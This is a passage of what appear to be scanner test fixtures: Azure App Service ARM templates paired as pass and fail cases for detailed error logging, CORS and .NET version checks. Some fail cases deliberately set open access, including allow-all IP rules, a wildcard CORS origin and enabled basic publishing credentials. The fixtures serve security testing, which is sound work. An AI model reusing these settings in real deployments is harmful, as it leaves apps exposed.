"detailedErrorLoggingEnabled": false, "publishingUsername": "$pike", "scmType": "None", "use32BitWorkerProcess": false, "webSocketsEnabled": false, "alwaysOn": false, "managedPipelineMode": "Integrated", "virtualApplications": [ { "virtualPath": "/", "physicalPath": "site\\wwwroot", "preloadEnabled": false } ], "loadBalancing": "LeastRequests", "experiments": { "rampUpRules": [] }, "autoHealEnabled": false, "vnetRouteAllEnabled": false, "vnetPrivatePortsCount": 0, "cors": { "supportCredentials": false }, "localMySqlEnabled": false, "managedServiceIdentityId": 484, "ipSecurityRestrictions": [ { "ipAddress": "Any", "action": "Allow", "priority": 2147483647, "name": "Allow all", "description": "Allow all access" } ], "scmIpSecurityRestrictions": [ { "ipAddress": "Any", "action": "Allow", "priority": 2147483647, "name": "Allow all", "description": "Allow all access" } ], "scmIpSecurityRestrictionsUseMain": false, "http20Enabled": true, "minTlsVersion": "1.2", "scmMinTlsVersion": "1.2", "ftpsState": "FtpsOnly", "preWarmedInstanceCount": 0, "elasticWebAppScaleLimit": 0, "healthCheckPath": "/health", "functionsRuntimeScaleMonitoringEnabled": false, "minimumElasticInstanceCount": 0, "azureStorageAccounts": { "shady": { "type": "AzureBlob", "accountName": "piketest", "shareName": "pike", "mountPath": "/mount/shady" } } } }, { "type": "Microsoft.Web/sites/hostNameBindings", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/', parameters('sites_pike_name'), '.azurewebsites.net')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "siteName": "pike", "hostNameType": "Verified" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceDetailedErrorMessagesEnabled/AppServiceDetailedErrorMessagesEnabled-failed2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "sites_pike_name": { "defaultValue": "pike", "type": "String" }, "serverfarms_example_serviceplan_externalid": { "defaultValue": "/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.Web/serverfarms/example-serviceplan", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2022-09-01", "name": "[parameters('sites_pike_name')]", "location": "UK South", "kind": "app,linux", "identity": { "type": "SystemAssigned" }, "properties": { "enabled": true, "hostNameSslStates": [ { "name": "[concat(parameters('sites_pike_name'), '.azurewebsites.net')]", "sslState": "Disabled", "hostType": "Standard" }, { "name": "[concat(parameters('sites_pike_name'), '.scm.azurewebsites.net')]", "sslState": "Disabled", "hostType": "Repository" } ], "serverFarmId": "[parameters('serverfarms_example_serviceplan_externalid')]", "reserved": true, "isXenon": false, "hyperV": false, "vnetRouteAllEnabled": false, "vnetImagePullEnabled": false, "vnetContentShareEnabled": false, "siteConfig": { "numberOfWorkers": 1, "acrUseManagedIdentityCreds": false, "alwaysOn": false, "http20Enabled": true, "functionAppScaleLimit": 0, "minimumElasticInstanceCount": 0 }, "scmSiteAlsoStopped": false, "clientAffinityEnabled": false, "clientCertEnabled": true, "clientCertMode": "Required", "hostNamesDisabled": false, "customDomainVerificationId": "B37B5768F8409B36E596577BDBC882653FCC6A7FD697EBEE151AB7C532C897E5", "containerSize": 0, "dailyMemoryTimeQuota": 0, "httpsOnly": true, "redundancyMode": "None", "storageAccountRequired": false, "keyVaultReferenceIdentity": "SystemAssigned" } }, { "type": "Microsoft.Web/sites/basicPublishingCredentialsPolicies", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/ftp')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "allow": true } }, { "type": "Microsoft.Web/sites/basicPublishingCredentialsPolicies", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/scm')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "allow": true } }, { "type": "Microsoft.Web/sites/config", "apiVersion": "2022-09-01", "name": "failed2", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "numberOfWorkers": 1, "defaultDocuments": [], "netFrameworkVersion": "v4.0", "requestTracingEnabled": false, "requestTracingExpirationTime": "9999-12-31T23:59:00Z", "remoteDebuggingEnabled": false, "remoteDebuggingVersion": "VS2019", "httpLoggingEnabled": true, "acrUseManagedIdentityCreds": false, "logsDirectorySizeLimit": 25, "publishingUsername": "$pike", "scmType": "None", "use32BitWorkerProcess": false, "webSocketsEnabled": false, "alwaysOn": false, "managedPipelineMode": "Integrated", "virtualApplications": [ { "virtualPath": "/", "physicalPath": "site\\wwwroot", "preloadEnabled": false } ], "loadBalancing": "LeastRequests", "experiments": { "rampUpRules": [] }, "autoHealEnabled": false, "vnetRouteAllEnabled": false, "vnetPrivatePortsCount": 0, "cors": { "supportCredentials": false }, "localMySqlEnabled": false, "managedServiceIdentityId": 484, "ipSecurityRestrictions": [ { "ipAddress": "Any", "action": "Allow", "priority": 2147483647, "name": "Allow all", "description": "Allow all access" } ], "scmIpSecurityRestrictions": [ { "ipAddress": "Any", "action": "Allow", "priority": 2147483647, "name": "Allow all", "description": "Allow all access" } ], "scmIpSecurityRestrictionsUseMain": false, "http20Enabled": true, "minTlsVersion": "1.2", "scmMinTlsVersion": "1.2", "ftpsState": "FtpsOnly", "preWarmedInstanceCount": 0, "elasticWebAppScaleLimit": 0, "healthCheckPath": "/health", "functionsRuntimeScaleMonitoringEnabled": false, "minimumElasticInstanceCount": 0, "azureStorageAccounts": { "shady": { "type": "AzureBlob", "accountName": "piketest", "shareName": "pike", "mountPath": "/mount/shady" } } } }, { "type": "Microsoft.Web/sites/hostNameBindings", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/', parameters('sites_pike_name'), '.azurewebsites.net')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "siteName": "pike", "hostNameType": "Verified" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceDetailedErrorMessagesEnabled/AppServiceDetailedErrorMessagesEnabled-passed.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "sites_pike_name": { "defaultValue": "pike", "type": "String" }, "serverfarms_example_serviceplan_externalid": { "defaultValue": "/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.Web/serverfarms/example-serviceplan", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2022-09-01", "name": "[parameters('sites_pike_name')]", "location": "UK South", "kind": "app,linux", "identity": { "type": "SystemAssigned" }, "properties": { "enabled": true, "hostNameSslStates": [ { "name": "[concat(parameters('sites_pike_name'), '.azurewebsites.net')]", "sslState": "Disabled", "hostType": "Standard" }, { "name": "[concat(parameters('sites_pike_name'), '.scm.azurewebsites.net')]", "sslState": "Disabled", "hostType": "Repository" } ], "serverFarmId": "[parameters('serverfarms_example_serviceplan_externalid')]", "reserved": true, "isXenon": false, "hyperV": false, "vnetRouteAllEnabled": false, "vnetImagePullEnabled": false, "vnetContentShareEnabled": false, "siteConfig": { "numberOfWorkers": 1, "acrUseManagedIdentityCreds": false, "alwaysOn": false, "http20Enabled": true, "functionAppScaleLimit": 0, "minimumElasticInstanceCount": 0 }, "scmSiteAlsoStopped": false, "clientAffinityEnabled": false, "clientCertEnabled": true, "clientCertMode": "Required", "hostNamesDisabled": false, "customDomainVerificationId": "B37B5768F8409B36E596577BDBC882653FCC6A7FD697EBEE151AB7C532C897E5", "containerSize": 0, "dailyMemoryTimeQuota": 0, "httpsOnly": true, "redundancyMode": "None", "storageAccountRequired": false, "keyVaultReferenceIdentity": "SystemAssigned" } }, { "type": "Microsoft.Web/sites/basicPublishingCredentialsPolicies", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/ftp')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "allow": true } }, { "type": "Microsoft.Web/sites/basicPublishingCredentialsPolicies", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/scm')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "allow": true } }, { "type": "Microsoft.Web/sites/config", "apiVersion": "2022-09-01", "name": "passed", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "numberOfWorkers": 1, "defaultDocuments": [], "netFrameworkVersion": "v4.0", "requestTracingEnabled": true, "requestTracingExpirationTime": "9999-12-31T23:59:00Z", "remoteDebuggingEnabled": false, "remoteDebuggingVersion": "VS2019", "httpLoggingEnabled": true, "acrUseManagedIdentityCreds": false, "logsDirectorySizeLimit": 25, "detailedErrorLoggingEnabled": true, "publishingUsername": "$pike", "scmType": "None", "use32BitWorkerProcess": false, "webSocketsEnabled": false, "alwaysOn": false, "managedPipelineMode": "Integrated", "virtualApplications": [ { "virtualPath": "/", "physicalPath": "site\\wwwroot", "preloadEnabled": false } ], "loadBalancing": "LeastRequests", "experiments": { "rampUpRules": [] }, "autoHealEnabled": false, "vnetRouteAllEnabled": false, "vnetPrivatePortsCount": 0, "cors": { "supportCredentials": false }, "localMySqlEnabled": false, "managedServiceIdentityId": 484, "ipSecurityRestrictions": [ { "ipAddress": "Any", "action": "Allow", "priority": 2147483647, "name": "Allow all", "description": "Allow all access" } ], "scmIpSecurityRestrictions": [ { "ipAddress": "Any", "action": "Allow", "priority": 2147483647, "name": "Allow all", "description": "Allow all access" } ], "scmIpSecurityRestrictionsUseMain": false, "http20Enabled": true, "minTlsVersion": "1.2", "scmMinTlsVersion": "1.2", "ftpsState": "FtpsOnly", "preWarmedInstanceCount": 0, "elasticWebAppScaleLimit": 0, "healthCheckPath": "/health", "functionsRuntimeScaleMonitoringEnabled": false, "minimumElasticInstanceCount": 0, "azureStorageAccounts": { "shady": { "type": "AzureFiles", "accountName": "piketest", "shareName": "pike", "mountPath": "/mount/shady" } } } }, { "type": "Microsoft.Web/sites/hostNameBindings", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/', parameters('sites_pike_name'), '.azurewebsites.net')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "siteName": "pike", "hostNameType": "Verified" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceDisallowCORS/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue": "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku": { "type": "string", "defaultValue": "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion": { "type": "string", "defaultValue": "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2022-09-01", "name": "fail", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "kind": "string", "extendedLocation": { "name": "string" }, "identity": { "type": "string", "userAssignedIdentities": {} }, "properties": { "clientAffinityEnabled": "bool", "clientCertEnabled": "bool", "clientCertExclusionPaths": "string", "clientCertMode": "string", "cloningInfo": { "appSettingsOverrides": {}, "cloneCustomHostNames": "bool", "cloneSourceControl": "bool", "configureLoadBalancing": "bool", "correlationId": "string", "hostingEnvironment": "string", "overwrite": "bool", "sourceWebAppId": "string", "sourceWebAppLocation": "string", "trafficManagerProfileId": "string", "trafficManagerProfileName": "string" }, "containerSize": "int", "customDomainVerificationId": "string", "dailyMemoryTimeQuota": "int", "enabled": "bool", "hostingEnvironmentProfile": { "id": "string" }, "hostNamesDisabled": "bool", "hostNameSslStates": [ { "hostType": "string", "name": "string", "sslState": "string", "thumbprint": "string", "toUpdate": "bool", "virtualIP": "string" } ], "httpsOnly": "bool", "hyperV": "bool", "isXenon": "bool", "keyVaultReferenceIdentity": "string", "managedEnvironmentId": "string", "publicNetworkAccess": "string", "redundancyMode": "string", "reserved": "bool", "scmSiteAlsoStopped": "bool", "serverFarmId": "string", "siteConfig": { "acrUseManagedIdentityCreds": "bool", "acrUserManagedIdentityID": "string", "alwaysOn": "bool", "apiDefinition": { "url": "string" }, "apiManagementConfig": { "id": "string" }, "appCommandLine": "string", "appSettings": [ { "name": "string", "value": "string" } ], "autoHealEnabled": "bool", "autoHealRules": { "actions": { "actionType": "string", "customAction": { "exe": "string", "parameters": "string" }, "minProcessExecutionTime": "string" }, "triggers": { "privateBytesInKB": "int", "requests": { "count": "int", "timeInterval": "string" }, "slowRequests": { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" }, "slowRequestsWithPath": [ { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" } ], "statusCodes": [ { "count": "int", "path": "string", "status": "int", "subStatus": "int", "timeInterval": "string", "win32Status": "int" } ], "statusCodesRange": [ { "count": "int", "path": "string", "statusCodes": "string", "timeInterval": "string" } ] } }, "autoSwapSlotName": "string", "azureStorageAccounts": {}, "connectionStrings": [ { "connectionString": "string", "name": "string", "type": "string" } ], "cors": { "allowedOrigins": [ "*" ], "supportCredentials": "bool" }, "defaultDocuments": [ "string" ], "detailedErrorLoggingEnabled": "bool", "documentRoot": "string", "elasticWebAppScaleLimit": "int", "experiments": { "rampUpRules": [ { "actionHostName": "string", "changeDecisionCallbackUrl": "string", "changeIntervalInMinutes": "int", "changeStep": "int", "maxReroutePercentage": "int", "minReroutePercentage": "int", "name": "string", "reroutePercentage": "int" } ] }, "ftpsState": "string", "functionAppScaleLimit": "int", "functionsRuntimeScaleMonitoringEnabled": "bool", "handlerMappings": [ { "arguments": "string", "extension": "string", "scriptProcessor": "string" } ], "healthCheckPath": "string", "http20Enabled": "bool", "httpLoggingEnabled": "bool", "ipSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "ipSecurityRestrictionsDefaultAction": "string", "javaContainer": "string", "javaContainerVersion": "string", "javaVersion": "string", "keyVaultReferenceIdentity": "string", "limits": { "maxDiskSizeInMb": "int", "maxMemoryInMb": "int", "maxPercentageCpu": "int" }, "linuxFxVersion": "string", "loadBalancing": "string", "localMySqlEnabled": "bool", "logsDirectorySizeLimit": "int", "managedPipelineMode": "string", "managedServiceIdentityId": "int", "metadata": [ { "name": "string", "value": "string" } ], "minimumElasticInstanceCount": "int", "minTlsVersion": "string", "netFrameworkVersion": "string", "nodeVersion": "string", "numberOfWorkers": "int", "phpVersion": "string", "powerShellVersion": "string", "preWarmedInstanceCount": "int", "publicNetworkAccess": "string", "publishingUsername": "string", "push": { "kind": "string", "properties": { "dynamicTagsJson": "string", "isPushEnabled": "bool", "tagsRequiringAuth": "string", "tagWhitelistJson": "string" } }, "pythonVersion": "string", "remoteDebuggingEnabled": "bool", "remoteDebuggingVersion": "string", "requestTracingEnabled": "bool", "requestTracingExpirationTime": "string", "scmIpSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "scmIpSecurityRestrictionsDefaultAction": "string", "scmIpSecurityRestrictionsUseMain": "bool", "scmMinTlsVersion": "string", "scmType": "string", "tracingOptions": "string", "use32BitWorkerProcess": "bool", "virtualApplications": [ { "physicalPath": "string", "preloadEnabled": "bool", "virtualDirectories": [ { "physicalPath": "string", "virtualPath": "string" } ], "virtualPath": "string" } ], "vnetName": "string", "vnetPrivatePortsCount": "int", "vnetRouteAllEnabled": "bool", "websiteTimeZone": "string", "webSocketsEnabled": "bool", "windowsFxVersion": "string", "xManagedServiceIdentityId": "int" }, "storageAccountRequired": "bool", "virtualNetworkSubnetId": "string", "vnetContentShareEnabled": "bool", "vnetImagePullEnabled": "bool", "vnetRouteAllEnabled": "bool" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceDisallowCORS/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue": "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku": { "type": "string", "defaultValue": "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion": { "type": "string", "defaultValue": "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2022-09-01", "name": "pass", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "kind": "string", "extendedLocation": { "name": "string" }, "identity": { "type": "string", "userAssignedIdentities": {} }, "properties": { "clientAffinityEnabled": "bool", "clientCertEnabled": "bool", "clientCertExclusionPaths": "string", "clientCertMode": "string", "cloningInfo": { "appSettingsOverrides": {}, "cloneCustomHostNames": "bool", "cloneSourceControl": "bool", "configureLoadBalancing": "bool", "correlationId": "string", "hostingEnvironment": "string", "overwrite": "bool", "sourceWebAppId": "string", "sourceWebAppLocation": "string", "trafficManagerProfileId": "string", "trafficManagerProfileName": "string" }, "containerSize": "int", "customDomainVerificationId": "string", "dailyMemoryTimeQuota": "int", "enabled": "bool", "hostingEnvironmentProfile": { "id": "string" }, "hostNamesDisabled": "bool", "hostNameSslStates": [ { "hostType": "string", "name": "string", "sslState": "string", "thumbprint": "string", "toUpdate": "bool", "virtualIP": "string" } ], "httpsOnly": "bool", "hyperV": "bool", "isXenon": "bool", "keyVaultReferenceIdentity": "string", "managedEnvironmentId": "string", "publicNetworkAccess": "string", "redundancyMode": "string", "reserved": "bool", "scmSiteAlsoStopped": "bool", "serverFarmId": "string", "siteConfig": { "acrUseManagedIdentityCreds": "bool", "acrUserManagedIdentityID": "string", "alwaysOn": "bool", "apiDefinition": { "url": "string" }, "apiManagementConfig": { "id": "string" }, "appCommandLine": "string", "appSettings": [ { "name": "string", "value": "string" } ], "autoHealEnabled": "bool", "autoHealRules": { "actions": { "actionType": "string", "customAction": { "exe": "string", "parameters": "string" }, "minProcessExecutionTime": "string" }, "triggers": { "privateBytesInKB": "int", "requests": { "count": "int", "timeInterval": "string" }, "slowRequests": { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" }, "slowRequestsWithPath": [ { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" } ], "statusCodes": [ { "count": "int", "path": "string", "status": "int", "subStatus": "int", "timeInterval": "string", "win32Status": "int" } ], "statusCodesRange": [ { "count": "int", "path": "string", "statusCodes": "string", "timeInterval": "string" } ] } }, "autoSwapSlotName": "string", "azureStorageAccounts": {}, "connectionStrings": [ { "connectionString": "string", "name": "string", "type": "string" } ], "cors": { "allowedOrigins": [ "is try string to app service disallow cors" ], "supportCredentials": "bool" }, "defaultDocuments": [ "string" ], "detailedErrorLoggingEnabled": "bool", "documentRoot": "string", "elasticWebAppScaleLimit": "int", "experiments": { "rampUpRules": [ { "actionHostName": "string", "changeDecisionCallbackUrl": "string", "changeIntervalInMinutes": "int", "changeStep": "int", "maxReroutePercentage": "int", "minReroutePercentage": "int", "name": "string", "reroutePercentage": "int" } ] }, "ftpsState": "string", "functionAppScaleLimit": "int", "functionsRuntimeScaleMonitoringEnabled": "bool", "handlerMappings": [ { "arguments": "string", "extension": "string", "scriptProcessor": "string" } ], "healthCheckPath": "string", "http20Enabled": "bool", "httpLoggingEnabled": "bool", "ipSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "ipSecurityRestrictionsDefaultAction": "string", "javaContainer": "string", "javaContainerVersion": "string", "javaVersion": "string", "keyVaultReferenceIdentity": "string", "limits": { "maxDiskSizeInMb": "int", "maxMemoryInMb": "int", "maxPercentageCpu": "int" }, "linuxFxVersion": "string", "loadBalancing": "string", "localMySqlEnabled": "bool", "logsDirectorySizeLimit": "int", "managedPipelineMode": "string", "managedServiceIdentityId": "int", "metadata": [ { "name": "string", "value": "string" } ], "minimumElasticInstanceCount": "int", "minTlsVersion": "string", "netFrameworkVersion": "string", "nodeVersion": "string", "numberOfWorkers": "int", "phpVersion": "string", "powerShellVersion": "string", "preWarmedInstanceCount": "int", "publicNetworkAccess": "string", "publishingUsername": "string", "push": { "kind": "string", "properties": { "dynamicTagsJson": "string", "isPushEnabled": "bool", "tagsRequiringAuth": "string", "tagWhitelistJson": "string" } }, "pythonVersion": "string", "remoteDebuggingEnabled": "bool", "remoteDebuggingVersion": "string", "requestTracingEnabled": "bool", "requestTracingExpirationTime": "string", "scmIpSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "scmIpSecurityRestrictionsDefaultAction": "string", "scmIpSecurityRestrictionsUseMain": "bool", "scmMinTlsVersion": "string", "scmType": "string", "tracingOptions": "string", "use32BitWorkerProcess": "bool", "virtualApplications": [ { "physicalPath": "string", "preloadEnabled": "bool", "virtualDirectories": [ { "physicalPath": "string", "virtualPath": "string" } ], "virtualPath": "string" } ], "vnetName": "string", "vnetPrivatePortsCount": "int", "vnetRouteAllEnabled": "bool", "websiteTimeZone": "string", "webSocketsEnabled": "bool", "windowsFxVersion": "string", "xManagedServiceIdentityId": "int" }, "storageAccountRequired": "bool", "virtualNetworkSubnetId": "string", "vnetContentShareEnabled": "bool", "vnetImagePullEnabled": "bool", "vnetRouteAllEnabled": "bool" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceDotnetFrameworkVersion/failed.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "sites_pike_name": { "defaultValue": "pike", "type": "String" }, "serverfarms_example_serviceplan_externalid": { "defaultValue": "/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.Web/serverfarms/example-serviceplan", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2022-09-01", "name": "[parameters('sites_pike_name')]", "location": "UK South", "kind": "app", "identity": { "type": "SystemAssigned" }, "properties": { "enabled": true, "hostNameSslStates": [ { "name": "[concat(parameters('sites_pike_name'), '.azurewebsites.net')]", "sslState": "Disabled", "hostType": "Standard" }, { "name": "[concat(parameters('sites_pike_name'), '.scm.azurewebsites.net')]", "sslState": "Disabled", "hostType": "Repository" } ], "serverFarmId": "[parameters('serverfarms_example_serviceplan_externalid')]", "reserved": false, "isXenon": false, "hyperV": false, "vnetRouteAllEnabled": false, "vnetImagePullEnabled": false, "vnetContentShareEnabled": false, "siteConfig": { "numberOfWorkers": 1, "acrUseManagedIdentityCreds": false, "alwaysOn": true, "http20Enabled": true, "functionAppScaleLimit": 0, "minimumElasticInstanceCount": 0 }, "scmSiteAlsoStopped": false, "clientAffinityEnabled": false, "clientCertEnabled": true, "clientCertMode": "Required", "hostNamesDisabled": false, "customDomainVerificationId": "B37B5768F8409B36E596577BDBC882653FCC6A7FD697EBEE151AB7C532C897E5", "containerSize": 0, "dailyMemoryTimeQuota": 0, "httpsOnly": true, "redundancyMode": "None", "publicNetworkAccess": "Enabled", "storageAccountRequired": false, "keyVaultReferenceIdentity": "SystemAssigned" } }, { "type": "Microsoft.Web/sites/basicPublishingCredentialsPolicies", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/ftp')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "allow": true } }, { "type": "Microsoft.Web/sites/basicPublishingCredentialsPolicies", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/scm')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "allow": true } }, { "type": "Microsoft.Web/sites/config", "apiVersion": "2022-09-01", "name": "failed", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "numberOfWorkers": 1, "defaultDocuments": [ "Default.htm", "Default.html", "Default.asp", "index.htm", "index.html", "iisstart.htm", "default.aspx", "index.php", "hostingstart.html" ], "netFrameworkVersion": "v5.0", "phpVersion": "5.6", "requestTracingEnabled": true, "requestTracingExpirationTime": "9999-12-31T23:59:00Z", "remoteDebuggingEnabled": false, "remoteDebuggingVersion": "VS2019", "httpLoggingEnabled": true, "acrUseManagedIdentityCreds": false, "logsDirectorySizeLimit": 25, "detailedErrorLoggingEnabled": true, "publishingUsername": "$pike", "scmType": "None", "use32BitWorkerProcess": true, "webSocketsEnabled": false, "alwaysOn": true, "managedPipelineMode": "Integrated", "virtualApplications": [ { "virtualPath": "/", "physicalPath": "site\\wwwroot", "preloadEnabled": true } ], "loadBalancing": "LeastRequests", "experiments": { "rampUpRules": [] }, "autoHealEnabled": false, "vnetRouteAllEnabled": false, "vnetPrivatePortsCount": 0, "publicNetworkAccess": "Enabled", "localMySqlEnabled": false, "managedServiceIdentityId": 24556, "ipSecurityRestrictions": [ { "ipAddress": "Any", "action": "Allow", "priority": 2147483647, "name": "Allow all", "description": "Allow all access" } ], "scmIpSecurityRestrictions": [ { "ipAddress": "Any", "action": "Allow", "priority": 2147483647, "name": "Allow all", "description": "Allow all access" } ], "scmIpSecurityRestrictionsUseMain": false, "http20Enabled": true, "minTlsVersion": "1.2", "scmMinTlsVersion": "1.2", "ftpsState": "FtpsOnly", "preWarmedInstanceCount": 0, "elasticWebAppScaleLimit": 0, "healthCheckPath": "/health", "functionsRuntimeScaleMonitoringEnabled": false, "minimumElasticInstanceCount": 0, "azureStorageAccounts": { "shady": { "type": "AzureFiles", "accountName": "piketest", "shareName": "pike", "mountPath": "\\\\mounts\\shady" } } } }, { "type": "Microsoft.Web/sites/hostNameBindings", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/', parameters('sites_pike_name'), '.azurewebsites.net')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "siteName": "pike", "hostNameType": "Verified" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceDotnetFrameworkVersion/passed.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "sites_pike_name": { "defaultValue": "pike", "type": "String" }, "serverfarms_example_serviceplan_externalid": { "defaultValue": "/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.Web/serverfarms/example-serviceplan", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2022-09-01", "name": "[parameters('sites_pike_name')]", "location": "UK South", "kind": "app", "identity": { "type": "SystemAssigned" }, "properties": { "enabled": true, "hostNameSslStates": [ { "name": "[concat(parameters('sites_pike_name'), '.azurewebsites.net')]", "sslState": "Disabled", "hostType": "Standard" }, { "name": "[concat(parameters('sites_pike_name'), '.scm.azurewebsites.net')]", "sslState": "Disabled", "hostType": "Repository" } ], "serverFarmId": "[parameters('serverfarms_example_serviceplan_externalid')]", "reserved": false, "isXenon": false, "hyperV": false, "vnetRouteAllEnabled": false, "vnetImagePullEnabled": false, "vnetContentShareEnabled": false, "siteConfig": { "numberOfWorkers": 1, "acrUseManagedIdentityCreds": false, "alwaysOn": true, "http20Enabled": true, "functionAppScaleLimit": 0, "minimumElasticInstanceCount": 0 }, "scmSiteAlsoStopped": false, "clientAffinityEnabled": false, "clientCertEnabled": true, "clientCertMode": "Required", "hostNamesDisabled": false, "customDomainVerificationId": "B37B5768F8409B36E596577BDBC882653FCC6A7FD697EBEE151AB7C532C897E5", "containerSize": 0, "dailyMemoryTimeQuota": 0, "httpsOnly": true, "redundancyMode": "None", "publicNetworkAccess": "Enabled", "storageAccountRequired": false, "keyVaultReferenceIdentity": "SystemAssigned" } }, { "type": "Microsoft.Web/sites/basicPublishingCredentialsPolicies", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/ftp')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "allow": true } }, { "type": "Microsoft.Web/sites/basicPublishingCredentialsPolicies", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/scm')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', 